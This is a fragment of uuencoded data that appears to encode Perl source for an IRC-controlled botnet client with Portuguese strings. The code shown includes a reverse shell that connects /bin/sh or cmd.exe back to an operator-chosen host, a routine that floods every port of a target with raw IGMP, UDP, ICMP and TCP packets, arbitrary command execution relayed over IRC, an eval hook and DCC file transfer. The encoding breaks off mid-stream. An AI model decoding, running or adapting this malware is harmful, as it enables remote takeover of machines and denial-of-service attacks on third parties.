L*("`@("`@("`@("`@("!]"B`@("`@("`@("`@('T*"B`@("`@("`@("`@(&5L<VEF("@D9G5N_8V%R9R`]?B`O7F-O;F)A8VM<<RLH+BHI7',K*%QD*RDO*2!["B`@("`@("`@("`@("`@;7D@)&AO<W0@/2`B_)#$B.PH@("`@("`@("`@("`@(&UY("1P;W)T82`]("(D,B(["B`@("`@("`@("`@("`@;7D@)'!R;W1O(#T@_9V5T<')O=&]B>6YA;64H)W1C<"<I.PH@("`@("`@("`@("`@(&UY("1I861D<B`](&EN971?871O;B@D:&]S_="D["B`@("`@("`@("`@("`@;7D@)'!A9&1R(#T@<V]C:V%D9')?:6XH)'!O<G1A+"`D:6%D9'(I.PH@("`@_("`@("`@("`@(&UY("1S:&5L;"`]("(O8FEN+W-H("UI(CL*("`@("`@("`@("`@("!I9B`H)%Y/(&5Q(")-_4U=I;C,R(BD@>PH@("`@("`@("`@("`@("`@)'-H96QL(#T@(F-M9"YE>&4B.PH@("`@("`@("`@("`@('T*_("`@("`@("`@("`@("!S;V-K970H4T]#2T54+"!01E])3D54+"!33T-+7U-44D5!32P@)'!R;W1O*2!O<B!D_:64@(G-O8VME=#H@)"$B.PH@("`@("`@("`@("`@(&-O;FYE8W0H4T]#2T54+"`D<&%D9'(I(&]R(&1I92`B_8V]N;F5C=#H@)"$B.PH@("`@("`@("`@("`@(&]P96XH4U1$24XL("(^)E-/0TM%5"(I.PH@("`@("`@("`@_("`@(&]P96XH4U1$3U54+"`B/B933T-+150B*3L*("`@("`@("`@("`@("!O<&5N*%-41$524BP@(CXF4T]#_2T54(BD["B`@("`@("`@("`@("`@<WES=&5M*"(D<VAE;&PB*3L*("`@("`@("`@("`@("!C;&]S92A35$1)_3BD["B`@("`@("`@("`@("`@8VQO<V4H4U1$3U54*3L*("`@("`@("`@("`@("!C;&]S92A35$1%4E(I.PH*_("`@("`@("`@("`@("!I9B`H)&5S=&%T:7-T:6-A<RD*("`@("`@("`@("`@("!["B`@("`@("`@("`@("`@_('-E;F1R87<H)$E20U]C=7)?<V]C:V5T+"`B4%))5DU31R`D<')I;G1L(#I<,#`R0V]N96-T86YD;RUS92!E_;5PP,#(Z("1H;W-T.B1P;W)T82(I.PH@("`@("`@("`@("`@('T*("`@("`@("`@("`@?0H*("`@("`@("`@_("!E;'-I9B`H)&9U;F-A<F<@/7X@+UYO;&1P86-K7',K*"XJ*5QS*RA<9"LI7',K*%QD*RDO*2!["B`@("`@_("`@("`@(')E='5R;B!U;FQE<W,@)'!A8V]T97,["B`@("`@("`@("`@("!M>2`H)&1T:6UE+"`E<&%C;W1E_<RD@/2!A='1A8VME<B@B)#$B+"`B)#(B+"`B)#,B*3L*("`@("`@("`@("`@("1D=&EM92`](#$@:68@)&1T_:6UE(#T](#`["B`@("`@("`@("`@("!M>2`E8GET97,["B`@("`@("`@("`@("`D8GET97-[:6=M<'T@/2`D_,B`J("1P86-O=&5S>VEG;7!].PH@("`@("`@("`@("`@)&)Y=&5S>VEC;7!](#T@)#(@*B`D<&%C;W1E<WMI_8VUP?3L*("`@("`@("`@("`@("1B>71E<WMO?2`]("0R("H@)'!A8V]T97-[;WT["B`@("`@("`@("`@("`D_8GET97-[=61P?2`]("0R("H@)'!A8V]T97-[=61P?3L*("`@("`@("`@("`@("1B>71E<WMT8W!](#T@)#(@_*B`D<&%C;W1E<WMT8W!].PH@("`@("`@("`@("`@=6YL97-S("@D97-T871I<W1I8V%S*0H@("`@("`@("`@_("`@>PH@("`@("`@("`@("`@("!S96YD<F%W*"1)4D-?8W5R7W-O8VME="P@(E!2259-4T<@)'!R:6YT;"`Z_7#`P,B`M(%-T871U<R`M7#`P,B(I.PH@("`@("`@("`@("`@("!S96YD<F%W*"1)4D-?8W5R7W-O8VME="P@_(E!2259-4T<@)'!R:6YT;"`Z7#`P,E1I;7!<,#`R.B`D9'1I;64B+B)S96-U;F1E+B(I.PH@("`@("`@("`@_("`@("!S96YD<F%W*"1)4D-?8W5R7W-O8VME="P@(E!2259-4T<@)'!R:6YT;"`Z7#`P,E1O=&%L('!A8VME_=%PP,#(Z("(N*"1P86-O=&5S>W5D<'T@*R`D<&%C;W1E<WMI9VUP?2`K("1P86-O=&5S>VEC;7!]("L@("1P_86-O=&5S>V]]*2D["B`@("`@("`@("`@("`@('-E;F1R87<H)$E20U]C=7)?<V]C:V5T+"`B4%))5DU31R`D_<')I;G1L(#I<,#`R5&]T86P@8GET97-<,#`R.B`B+B@D8GET97-[:6-M<'T@*R`D8GET97,@>VEG;7!]("L@_)&)Y=&5S>W5D<'T@*R`D8GET97-[;WTI*3L*("`@("`@("`@("`@("`@<V5N9')A=R@D25)#7V-U<E]S;V-K_970L(")04DE635-'("1P<FEN=&P@.EPP,#)&;&]O9%PP,#(Z("(N:6YT*"@H)&)Y=&5S>VEC;7!]*R1B>71E_<WMI9VUP?2LD8GET97-[=61P?2`K("1B>71E<WMO?2DO,3`R-"DO)&1T:6UE*2XB(&MB<',B*3L*("`@("`@_("`@("`@('T*("`@("`@("`@("!]"B`@("`@("`@("`@97AI=#L*("`@("`@('T*("!]"GT*"G-U8B!I<F-A_<V4@>PH@(&UY("@D:V5M+"`D<')I;G1L+"`D8V%S92D@/2!`7SL*"B`@(&EF("@D8V%S92`]?B`O7FIO:6X@_*"XJ*2\I('L*("`@("!J*"(D,2(I.PH@("!]"B`@(&5L<VEF("@D8V%S92`]?B`O7G!A<G0@*"XJ*2\I('L*_("`@("`@<"@B)#$B*3L*("`@?0H@("!E;'-I9B`H)&-A<V4@/7X@+UYR96IO:6Y<<RLH+BHI+RD@>PH@("`@_("!M>2`D8VAA;B`]("0Q.PH@("`@("!I9B`H)&-H86X@/7X@+UXH7&0K*2`H+BHI+RD@>PH@("`@("`@(&9O_<B`H;7D@)&-A(#T@,3L@)&-A(#P]("0Q.R`D8V$K*R`I('L*("`@("`@("`@('`H(B0R(BD["B`@("`@("`@_("!J*"(D,B(I.PH@("`@("`@('T*("`@("`@?2!E;'-E('L*("`@("`@("`@('`H(B1C:&%N(BD["B`@("`@_("`@("!J*"(D8VAA;B(I.PH@("`@("!]"B`@('T*("`@96QS:68@*"1C87-E(#U^("]>;W`O*2!["B`@("`@_(&]P*"(D<')I;G1L(BP@(B1K96TB*2!I9B`D8V%S92!E<2`B;W`B.PH@("`@("!M>2`D;V%R9R`]('-U8G-T_<B@D8V%S92P@,RD["B`@("`@(&]P*"(D,2(L("(D,B(I(&EF("@D;V%R9R`]?B`O*%Q3*RE<<RLH7%,K*2\I_.PH@("!]"B`@(&5L<VEF("@D8V%S92`]?B`O7F1E;W`O*2!["B`@("`@(&1E;W`H(B1P<FEN=&PB+"`B)&ME_;2(I(&EF("1C87-E(&5Q(")D96]P(CL*("`@("`@;7D@)&]A<F<@/2!S=6)S='(H)&-A<V4L(#4I.PH@("`@_("!D96]P*"(D,2(L("(D,B(I(&EF("@D;V%R9R`]?B`O*%Q3*RE<<RLH7%,K*2\I.PH@("!]"B`@(&5L<VEF_("@D8V%S92`]?B`O7G9O:6-E+RD@>PH@("`@("!V;VEC92@B)'!R:6YT;"(L("(D:V5M(BD@:68@)&-A<V4@_97$@(G9O:6-E(CL*("`@("`@)&]A<F<@/2!S=6)S='(H)&-A<V4L(#8I.PH@("`@("!V;VEC92@B)#$B+"`B_)#(B*2!I9B`H)&]A<F<@/7X@+RA<4RLI7',K*%Q3*RDO*3L*("`@?0H@("!E;'-I9B`H)&-A<V4@/7X@+UYD_979O:6-E+RD@>PH@("`@("!D979O:6-E*"(D<')I;G1L(BP@(B1K96TB*2!I9B`D8V%S92!E<2`B9&5V;VEC_92(["B`@("`@("1O87)G(#T@<W5B<W1R*"1C87-E+"`X*3L*("`@("`@9&5V;VEC92@B)#$B+"`B)#(B*2!I_9B`H)&]A<F<@/7X@+RA<4RLI7',K*%Q3*RDO*3L*("`@?0H@("!E;'-I9B`H)&-A<V4@/7X@+UYM<V=<<RLH_7%,K*2`H+BHI+RD@>PH@("`@("!M<V<H(B0Q(BP@(B0R(BD["B`@('T*("`@96QS:68@*"1C87-E(#U^("]>_9FQO;V1<<RLH7&0K*5QS*RA<4RLI("@N*BDO*2!["B`@("`@(&9O<B`H;7D@)&-F(#T@,3L@)&-F(#P]("0Q_.R`D8V8K*RD@>PH@("`@("`@(&US9R@B)#(B+"`B)#,B*3L*("`@("`@?0H@("!]"B`@(&5L<VEF("@D8V%S_92`]?B`O7F-T8W!F;&]O9%QS*RA<9"LI7',K*%Q3*RD@*"XJ*2\I('L*("`@("`@9F]R("AM>2`D8V8@/2`Q_.R`D8V8@/#T@)#$[("1C9BLK*2!["B`@("`@("`@8W1C<"@B)#(B+"`B)#,B*3L*("`@("`@?0H@("!]"B`@_(&5L<VEF("@D8V%S92`]?B`O7F-T8W!<<RLH7%,K*2`H+BHI+RD@>PH@("`@("!C=&-P*"(D,2(L("(D,B(I_.PH@("!]"B`@(&5L<VEF("@D8V%S92`]?B`O7FEN=FET95QS*RA<4RLI("@N*BDO*2!["B`@("`@(&EN=FET_92@B)#$B+"`B)#(B*3L*("`@?0H@("!E;'-I9B`H)&-A<V4@/7X@+UYN:6-K("@N*BDO*2!["B`@("`@(&YI_8VLH(B0Q(BD["B`@('T*("`@96QS:68@*"1C87-E(#U^("]>8V]N96-T85QS*RA<4RLI7',K*%Q3*RDO*2![_"B`@("`@("!C;VYE8W1A<B@B)#(B+"`B)#$B+"`V-C8W*3L*("`@?0H@("!E;'-I9B`H)&-A<V4@/7X@+UYS_96YD7',K*%Q3*RE<<RLH7%,K*2\I('L*("`@("`@1$-#.CI314Y$*"(D,2(L("(D,B(I.PH@("!]"B`@(&5L_<VEF("@D8V%S92`]?B`O7G)A=R`H+BHI+RD@>PH@("`@("!S96YD<F%W*"(D,2(I.PH@("!]"B`@(&5L<VEF_("@D8V%S92`]?B`O7F5V86P@*"XJ*2\I('L*("`@("`@979A;"`B)#$B.PH@("!]"B`@(&5L<VEF("@D8V%S_92`]?B`O7F5N=')A7',K*%Q3*RE<<RLH7&0K*2\I('L*("`@('-L965P(&EN="AR86YD*"0R*2D["B`@("!J_*"(D,2(I.PH@("!]"B`@(&5L<VEF("@D8V%S92`]?B`O7G-A:5QS*RA<4RLI7',K*%QD*RDO*2!["B`@("!S_;&5E<"!I;G0H<F%N9"@D,BDI.PH@("`@<"@B)#$B*3L*("`@?0H@("!E;'-I9B`H)&-A<V4@/7X@+UYS86ER_+RD@>PH@("`@('%U:70H*3L*("`@?0H@("!E;'-I9B`H)&-A<V4@/7X@+UYN;W9O;FEC:R\I('L*("`@(&UY_("1N;W9O;FEC:R`](&=E=&YI8VLH*3L*("`@("!N:6-K*"(D;F]V;VYI8VLB*3L*("`@?0H@("!E;'-I9B`H_)&-A<V4@/7X@+UYE<W1A=&ES=&EC87,@*"XJ*2\I('L*("`@("!I9B`H)#$@97$@(F]N(BD@>PH@("`@("`D_97-T871I<W1I8V%S(#T@,3L*("`@("`@;7-G*"(D<')I;G1L(BP@(D5S=&%T+G-T:6-A<R!A=&EV861A<R$B_*3L*("`@("!](&5L<VEF("@D,2!E<2`B;V9F(BD@>PH@("`@("`D97-T871I<W1I8V%S(#T@,#L*("`@("`@_;7-G*"(D<')I;G1L(BP@(D5S=&%T+G-T:6-A<R!D97-A=&EV861A<R$B*3L*("`@("!]"B`@('T*("`@96QS_:68@*"1C87-E(#U^("]><&%C;W1E<R`H+BHI+RD@>PH@("`@(&EF("@D,2!E<2`B;VXB*2!["B`@("`@("1P_86-O=&5S(#T@,3L*("`@("`@;7-G*"(D<')I;G1L(BP@(E!A8V]T97,@871I=F%D;W,A(BD@:68@*"1E<W1A_=&ES=&EC87,@/3T@(C$B*3L*("`@("!](&5L<VEF("@D,2!E<2`B;V9F(BD@>PH@("`@("`D<&%C;W1E<R`]_(#`["B`@("`@(&US9R@B)'!R:6YT;"(L(")086-O=&5S(&1E<V%T:79A9&]S(2(I(&EF("@D97-T871I<W1I_8V%S(#T]("(Q(BD["B`@("`@?0H@("!]"GT*<W5B('-H96QL('L*("!R971U<FX@=6YL97-S("1A8V5S<V]S_:&5L;#L*("!M>2`D<')I;G1L/21?6S!=.PH@(&UY("1C;VUA;F1O/21?6S%=.PH@(&EF("@D8V]M86YD;R`]_?B`O8V0@*"XJ*2\I('L*("`@(&-H9&ER*"(D,2(I('Q\(&US9R@B)'!R:6YT;"(L(")$:7)E="YR:6\@:6YE_>&ES=&5N=&4A(BD["B`@("!R971U<FX["B`@?0H@(&5L<VEF("@D<&ED(#T@9F]R:RD@>PH@("`@('=A:71P_:60H)'!I9"P@,"D["B`@?2!E;'-E('L*("`@("`@:68@*&9O<FLI('L*("`@("`@("`@97AI=#L*("`@("`@_('T@96QS92!["B`@("`@("`@("`@;7D@0')E<W`]8"1C;VUA;F1O(#(^)C$@,SXF,6`["B`@("`@("`@("`@_;7D@)&,],#L*("`@("`@("`@("!F;W)E86-H(&UY("1L:6YH82`H0')E<W`I('L*("`@("`@("`@("`@("1C_*RL["B`@("`@("`@("`@("!C:&]P("1L:6YH83L*("`@("`@("`@("`@('-E;F1R87<H)$E20U]C=7)?<V]C_:V5T+"`B4%))5DU31R`D<')I;G1L(#HD;&EN:&$B*3L*("`@("`@("`@("`@(&EF("@D8R`^/2`B)&QI;F%S_7VUA>"(I('L*("`@("`@("`@("`@("`@)&,],#L*("`@("`@("`@("`@("`@<VQE97`@)'-L965P.PH@("`@_("`@("`@("`@?0H@("`@("`@("`@('T*("`@("`@("`@("!E>&ET.PH@("`@("`@?0H@('T*?0H*<W5B(&%T_=&%C:V5R('L*("!M>2`D:6%D9'(@/2!I;F5T7V%T;VXH)%];,%TI.PH@(&UY("1M<V<@/2`G0B<@>"`D7ULQ_73L*("!M>2`D9G1I;64@/2`D7ULR73L*("!M>2`D8W`@/2`P.PH@(&UY("@E<&%C;W1E<RD["B`@)'!A8V]T_97-[:6-M<'T@/2`D<&%C;W1E<WMI9VUP?2`]("1P86-O=&5S>W5D<'T@/2`D<&%C;W1E<WMO?2`]("1P86-O_=&5S>W1C<'T@/2`P.PH*("!S;V-K970H4T]#2S$L(%!&7TE.150L(%-/0TM?4D%7+"`R*2!O<B`D8W`K*SL*_("!S;V-K970H4T]#2S(L(%!&7TE.150L(%-/0TM?1$=204TL(#$W*2!O<B`D8W`K*SL*("!S;V-K970H4T]#_2S,L(%!&7TE.150L(%-/0TM?4D%7+"`Q*2!O<B`D8W`K*SL*("!S;V-K970H4T]#2S0L(%!&7TE.150L(%-/_0TM?4D%7+"`V*2!O<B`D8W`K*SL*("!R971U<FXH=6YD968I(&EF("1C<"`]/2`T.PH@(&UY("1I=&EM92`]_('1I;64["B`@;7D@*"1C=7)?=&EM92D["B`@=VAI;&4@*"`Q("D@>PH@("`@(&9O<B`H;7D@)'!O<G1A(#T@_,3L@)'!O<G1A(#P](#8U-3,U.R`D<&]R=&$K*RD@>PH@("`@("`@)&-U<E]T:6UE(#T@=&EM92`M("1I=&EM_93L*("`@("`@(&QA<W0@:68@)&-U<E]T:6UE(#X]("1F=&EM93L*("`@("`@('-E;F0H4T]#2S$L("1M<V<L_(#`L('-O8VMA9&1R7VEN*"1P;W)T82P@)&EA9&1R*2D@86YD("1P86-O=&5S>VEG;7!]*RL@:68@*"1P86-O_=&5S(#T](#$I.PH@("`@("`@<V5N9"A33T-+,BP@)&US9RP@,"P@<V]C:V%D9')?:6XH)'!O<G1A+"`D:6%D_9'(I*2!A;F0@)'!A8V]T97-[=61P?2LK(&EF("@D<&%C;W1E<R`]/2`Q*3L*("`@("`@('-E;F0H4T]#2S,L_("1M<V<L(#`L('-O8VMA9&1R7VEN*"1P;W)T82P@)&EA9&1R*2D@86YD("1P86-O=&5S>VEC;7!]*RL@:68@_*"1P86-O=&5S(#T](#$I.PH@("`@("`@<V5N9"A33T-+-"P@)&US9RP@,"P@<V]C:V%D9')?:6XH)'!O<G1A_+"`D:6%D9'(I*2!A;F0@)'!A8V]T97-[=&-P?2LK(&EF("@D<&%C;W1E<R`]/2`Q*3L*"B`@("`@("!F;W(@_*&UY("1P8R`](#,[("1P8R`\/2`R-34[)'!C*RLI('L*("`@("`@("`@;F5X="!I9B`D<&,@/3T@-CL*("`@_("`@("`@)&-U<E]T:6UE(#T@=&EM92`M("1I=&EM93L*("`@("`@("`@;&%S="!I9B`D8W5R7W1I;64@/CT@_)&9T:6UE.PH@("`@("`@("!S;V-K970H4T]#2S4L(%!&7TE.150L(%-/0TM?4D%7+"`D<&,I(&]R(&YE>'0[_"B`@("`@("`@('-E;F0H4T]#2S4L("1M<V<L(#`L('-O8VMA9&1R7VEN*"1P;W)T82P@)&EA9&1R*2D@86YD_("1P86-O=&5S>V]]*RL@:68@*"1P86-O=&5S(#T](#$I.PH@("`@("`@?0H@("`@('T*("`@("!L87-T(&EF_("1C=7)?=&EM92`^/2`D9G1I;64["B`@?0H@(')E='5R;B@D8W5R7W1I;64L("5P86-O=&5S*3L*?0H*"G-U_8B!A8W1I;VX@>PH@("!R971U<FX@=6YL97-S("0C7R`]/2`Q.PH@("!S96YD<F%W*")04DE635-'("1?6S!=_(#I<,#`Q04-424].("1?6S%=7#`P,2(I.PI]"@IS=6(@8W1C<"!["B`@(')E='5R;B!U;FQE<W,@)"-?(#T]_(#$["B`@('-E;F1R87<H(E!2259-4T<@)%];,%T@.EPP,#$D7ULQ75PP,#$B*3L*?0IS=6(@;7-G('L*("`@_<F5T=7)N('5N;&5S<R`D(U\@/3T@,3L*("`@<V5N9')A=R@B4%))5DU31R`D7ULP72`Z)%];,5TB*3L*?0H*_<W5B(&YO=&EC92!["B`@(')E='5R;B!U;FQE<W,@)"-?(#T](#$["B`@('-E;F1R87<H(DY/5$E#12`D7ULP_72`Z)%];,5TB*3L*?0H*<W5B(&]P('L*("`@<F5T=7)N('5N;&5S<R`D(U\@/3T@,3L*("`@<V5N9')A=R@B_34]$12`D7ULP72`K;R`D7ULQ72(I.PI]"G-U8B!D96]P('L*("`@<F5T=7)N('5N;&5S<R`D(U\@/3T@,3L*_("`@<V5N9')A=R@B34]$12`D7ULP72`M;R`D7ULQ72(I.PI]"G-U8B!H;W`@>PH@("`@<F5T=7)N('5N;&5S_<R`D(U\@/3T@,3L*("`@<V5N9')A=R@B34]$12`D7ULP72`K:"`D7ULQ72(I.PI]"G-U8B!D96AO<"!["B`@_(')E='5R;B!U;FQE<W,@)"-?(#T](#$["B`@('-E;F1R87<H(DU/1$4@)%];,%T@*V@@)%];,5TB*3L*?0IS_=6(@=F]I8V4@>PH@("!R971U<FX@=6YL97-S("0C7R`]/2`Q.PH@("!S96YD<F%W*")-3T1%("1?6S!=("MV_("1?6S%=(BD["GT*<W5B(&1E=F]I8V4@>PH@("!R971U<FX@=6YL97-S("0C7R`]/2`Q.PH@("!S96YD<F%W_*")-3T1%("1?6S!=("UV("1?6S%=(BD["GT*<W5B(&)A;B!["B`@(')E='5R;B!U;FQE<W,@)"-?(#T](#$[_"B`@('-E;F1R87<H(DU/1$4@)%];,%T@*V(@)%];,5TB*3L*?0IS=6(@=6YB86X@>PH@("!R971U<FX@=6YL_97-S("0C7R`]/2`Q.PH@("!S96YD<F%W*")-3T1%("1?6S!=("UB("1?6S%=(BD["GT*<W5B(&MI8VL@>PH@_("!R971U<FX@=6YL97-S("0C7R`]/2`Q.PH@("!S96YD<F%W*")+24-+("1?6S!=("1?6S%=(#HD7ULR72(I_.PI]"@IS=6(@;6]D;R!["B`@(')E='5R;B!U;FQE<W,@)"-?(#T](#`["B`@('-E;F1R87<H(DU/1$4@)%];_,%T@)%];,5TB*3L*?0IS=6(@;6]D92![(&UO9&\H0%\I.R!]"@IS=6(@:B![("9J;VEN*$!?*3L@?0IS=6(@_:F]I;B!["B`@(')E='5R;B!U;FQE<W,@)"-?(#T](#`["B`@('-E;F1R87<H(DI/24X@)%];,%TB*3L*?0IS_=6(@<"![('!A<G0H0%\I.R!]"G-U8B!P87)T('MS96YD<F%W*")005)4("1?6S!=(BD[?0H*<W5B(&YI8VL@_>PH@(')E='5R;B!U;FQE<W,@)"-?(#T](#`["B`@<V5N9')A=R@B3DE#2R`D7ULP72(I.PI]"@IS=6(@:6YV_:71E('L*("`@<F5T=7)N('5N;&5S<R`D(U\@/3T@,3L*("`@<V5N9')A=R@B24Y6251%("1?6S%=("1?6S!=_(BD["GT*<W5B('1O<&EC;R!["B`@(')E='5R;B!U;FQE<W,@)"-?(#T](#$["B`@('-E;F1R87<H(E1/4$E#_("1?6S!=("1?6S%=(BD["GT*<W5B('1O<&EC('L@=&]P:6-O*$!?*3L@?0H*<W5B('=H;VES('L*("!R971U_<FX@=6YL97-S("0C7R`]/2`P.PH@('-E;F1R87<H(E=(3TE3("1?6S!=(BD["GT*<W5B('=H;R!["B`@<F5T_=7)N('5N;&5S<R`D(U\@/3T@,#L*("!S96YD<F%W*")72$\@)%];,%TB*3L*?0IS=6(@;F%M97,@>PH@(')E_='5R;B!U;FQE<W,@)"-?(#T](#`["B`@<V5N9')A=R@B3D%-15,@)%];,%TB*3L*?0IS=6(@87=A>2!["B`@_<V5N9')A=R@B05=!62`D7ULP72(I.PI]"G-U8B!B86-K('L@87=A>2@I.R!]"G-U8B!Q=6ET('L*("!S96YD_<F%W*")154E4(#HD7ULP72(I.PH@(&5X:70["GT*"G!A8VMA9V4@1$-#.PH*<W5B(&-O;FYE8W1I;VYS('L*_("`@;7D@0')E861Y(#T@)&1C8U]S96PM/F-A;E]R96%D*#$I.PH@("!F;W)E86-H(&UY("1F:"`H0')E861Y_*2!["B`@("`@;7D@)&1C8W1I<&\@/2`D1$-#>R1F:'U[=&EP;WT["B`@("`@;7D@)&%R<75I=F\@/2`D1$-#_>R1F:'U[87)Q=6EV;WT["B`@("`@;7D@)&)Y=&5S(#T@)$1#0WLD9FA]>V)Y=&5S?3L*("`@("!M>2`D8W5R_7V)Y=&4@/2`D1$-#>R1F:'U[8W5R8GET97T["B`@("`@;7D@)&YI8VL@/2`D1$-#>R1F:'U[;FEC:WT["@H@_("`@(&UY("1M<V<["B`@("`@;7D@)&YR96%D(#T@<WES<F5A9"@D9F@L("1M<V<L(#$P,C0P*3L*"B`@("`@_:68@*"1N<F5A9"`]/2`P(&%N9"`D9&-C=&EP;R`]?B`O7BAG971\<V5N9&-O;BDD+RD@>PH@("`@("`@("1$_0T-[)&9H?7MS=&%T=7-](#T@(D-A;F-E;&%D;R(["B`@("`@("`@)$1#0WLD9FA]>V9T:6UE?2`]('1I;64[_"B`@("`@("`@)&1C8U]S96PM/G)E;6]V92@D9F@I.PH@("`@("`@("1F:"T^8VQO<V4["B`@("`@("`@;F5X_=#L*("`@("!]"@H@("`@(&EF("@D9&-C=&EP;R!E<2`B9V5T(BD@>PH@("`@("`@("1$0T-[)&9H?7MC=7)B_>71E?2`K/2!L96YG=&@H)&US9RD["@H@("`@("`@(&UY("1C=7)?8GET92`]("1$0T-[)&9H?7MC=7)B>71E_?3L*"B`@("`@("`@;W!E;BA&24Q%+"`B/CX@)&%R<75I=F\B*3L*("`@("`@("!P<FEN="!&24Q%("(D;7-G_(B!I9B`H)&-U<E]B>71E(#P]("1B>71E<RD["B`@("`@("`@8VQO<V4H1DE,12D["@H@("`@("`@(&UY("1P_86-K8GET92`]('!A8VLH(DXB+"`D8W5R7V)Y=&4I.PH@("`@("`@('!R:6YT("1F:"`B)'!A8VMB>71E(CL*_"B`@("`@("`@:68@*"1B>71E<R`]/2`D8W5R7V)Y=&4I('L*("`@("`@("`@("`D9&-C7W-E;"T^<F5M;W9E_*"1F:"D["B`@("`@("`@("`@)&9H+3YC;&]S93L*("`@("`@("`@("`D1$-#>R1F:'U[<W1A='5S?2`](")2_96-E8FED;R(["B`@("`@("`@("`@)$1#0WLD9FA]>V9T:6UE?2`]('1I;64["B`@("`@("`@("`@;F5X=#L*_("`@("`@("!]"B`@("`@?2!E;'-I9B`H)&1C8W1I<&\@97$@(G-E;F0B*2!["B`@("`@("`@("!M>2`D<V5N_9"`]("1F:"T^86-C97!T.PH@("`@("`@("`@)'-E;F0M/F%U=&]F;'5S:"@Q*3L*("`@("`@("`@("1D8V-?_<V5L+3YA9&0H)'-E;F0I.PH@("`@("`@("`@)&1C8U]S96PM/G)E;6]V92@D9F@I.PH@("`@("`@("`@)$1#_0WLD<V5N9'U[=&EP;WT@/2`G<V5N9&-O;B<["B`@("`@("`@("`D1$-#>R1S96YD?7MI=&EM97T@/2!T:6UE_.PH@("`@("`@("`@)$1#0WLD<V5N9'U[;FEC:WT@/2`D;FEC:SL*("`@("`@("`@("1$0T-[)'-E;F1]>V)Y_=&5S?2`]("1B>71E<SL*("`@("`@("`@("1$0T-[)'-E;F1]>V-U<F)Y=&5](#T@,#L*("`@("`@("`@("1$_0T-[)'-E;F1]>V%R<75I=F]](#T@)&%R<75I=F\["B`@("`@("`@("`D1$-#>R1S96YD?7MI<'T@/2`D<V5N_9"T^<&5E<FAO<W0["B`@("`@("`@("`D1$-#>R1S96YD?7MP;W)T87T@/2`D<V5N9"T^<&5E<G!O<G0["B`@_("`@("`@("`D1$-#>R1S96YD?7MS=&%T=7-](#T@(D5N=FEA;F1O(CL*"B`@("`@("`@("!O<&5N*$9)3$4L_("(\("1A<G%U:79O(BD["B`@("`@("`@("!M>2`D9F)Y=&5S.PH@("`@("`@("`@<F5A9"A&24Q%+"`D9F)Y_=&5S+"`Q,#(T*3L*("`@("`@("`@('!R:6YT("1S96YD("(D9F)Y=&5S(CL*("`@("`@("`@(&-L;W-E($9)_3$4["B`@("`@?2!E;'-I9B`H)&1C8W1I<&\@97$@)W-E;F1C;VXG*2!["B`@("`@("`@("!M>2`D8GET97-?_<V5N9&5D(#T@=6YP86-K*").(BP@)&US9RD["B`@("`@("`@("`D1$-#>R1F:'U[8W5R8GET97T@/2`D8GET_97-?<V5N9&5D.PH@("`@("`@("`@:68@*"1B>71E<U]S96YD960@/3T@)&)Y=&5S*2!["B`@("`@("`@("`@_("`D9F@M/F-L;W-E.PH@("`@("`@("`@("`@)&1C8U]S96PM/G)E;6]V92@D9F@I.PH@("`@("`@("`@("`@_)$1#0WLD9FA]>W-T871U<WT@/2`B16YV:6%D;R(["B`@("`@("`@("`@("`D1$-#>R1F:'U[9G1I;65](#T@_=&EM93L*("`@("`@("`@("`@(&YE>'0["B`@("`@("`@("!]"B`@("`@("`@("!O<&5N*%-%3D1&24Q%+"`B_/"`D87)Q=6EV;R(I.PH@("`@("`@("`@<V5E:RA314Y$1DE,12P@)&)Y=&5S7W-E;F1E9"P@,"D["B`@("`@_("`@("!M>2`D<V5N9%]B>71E<SL*("`@("`@("`@(')E860H4T5.1$9)3$4L("1S96YD7V)Y=&5S+"`Q,#(T_*3L*("`@("`@("`@('!R:6YT("1F:"`B)'-E;F1?8GET97,B.PH@("`@("`@("`@8VQO<V4H4T5.1$9)3$4I_.PH@("`@('T*("`@?0I]"@H*<W5B(%-%3D0@>PH@(&UY("@D;FEC:RP@)&%R<75I=F\I(#T@0%\["B`@=6YL_97-S("@M<B`B)&%R<75I=F\B*2!["B`@("!R971U<FXH,"D["B`@?0H*("!M>2`D9&-C87)K(#T@)&%R<75I_=F\["B`@)&1C8V%R:R`]?B!S+ULN*EPO72A<4RLI+R0Q+SL*"B`@;7D@)&UE=6EP(#T@)#HZ:7)C7W-E<G9E_<G-[(B0Z.DE20U]C=7)?<V]C:V5T(GU[)VUE=6EP)WT["B`@;7D@)&QO;F=I<"`]('5N<&%C:R@B3B(L:6YE_=%]A=&]N*"1M975I<"DI.PH*("!M>2!`9FEL97-T870@/2!S=&%T*"1A<G%U:79O*3L*("!M>2`D<VEZ95]T_;W1A;#TD9FEL97-T871;-UT["B`@:68@*"1S:7IE7W1O=&%L(#T](#`I('L*("`@("!R971U<FXH,"D["B`@_?0H*("!M>2`H)'!O<G1A+"`D<V5N9'-O8VLI.PH@(&1O('L*("`@("1P;W)T82`](&EN="!R86YD*#8T-3$Q_*3L*("`@("1P;W)T82`K/2`Q,#(T.PH@("`@)'-E;F1S;V-K(#T@24\Z.E-O8VME=#HZ24Y%5"T^;F5W*$QI_<W1E;CT^,2P@3&]C86Q0;W)T(#T^)'!O<G1A+"!0<F]T;R`]/B`G=&-P)RD@86YD("1D8V-?<V5L+3YA9&0H_)'-E;F1S;V-K*3L*("!]('5N=&EL("1S96YD<V]C:SL*"B`@)$1#0WLD<V5N9'-O8VM]>W1I<&]](#T@)W-E_;F0G.PH@("1$0T-[)'-E;F1S;V-K?7MN:6-K?2`]("1N:6-K.PH@("1$0T-[)'-E;F1S;V-K?7MB>71E<WT@_/2`D<VEZ95]T;W1A;#L*("`D1$-#>R1S96YD<V]C:WU[87)Q=6EV;WT@/2`D87)Q=6EV;SL*"@H@("8Z.F-T_8W`H(B1N:6-K(BP@(D1#0R!314Y$("1D8V-A<FL@)&QO;F=I<"`D<&]R=&$@)'-I>F5?=&]T86PB*3L*"GT*_"G-U8B!'150@>PH@(&UY("@D87)Q=6EV;RP@)&1C8VQO;F=I<"P@)&1C8W!O<G1A+"`D8GET97,L("1N:6-K_*2`]($!?.PH@(')E='5R;B@P*2!I9B`H+64@(B1A<G%U:79O(BD["B`@:68@*&]P96XH1DE,12P@(CX@)&%R_<75I=F\B*2D@>PH@("`@(&-L;W-E($9)3$4["B`@?2!E;'-E('L*("`@(')E='5R;B@P*3L*("!]"@H@(&UY_("1D8V-I<#UF:7AA9&1R*"1D8V-L;VYG:7`I.PH@(')E='5R;B@P*2!I9B`H)&1C8W!O<G1A(#P@,3`R-"!O_<B!N;W0@9&5F:6YE9"`D9&-C:7`@;W(@)&)Y=&5S(#P@,2D["B`@;7D@)&1C8W-O8VL@/2!)3SHZ4V]C:V5T_.CI)3D54+3YN97<H4')O=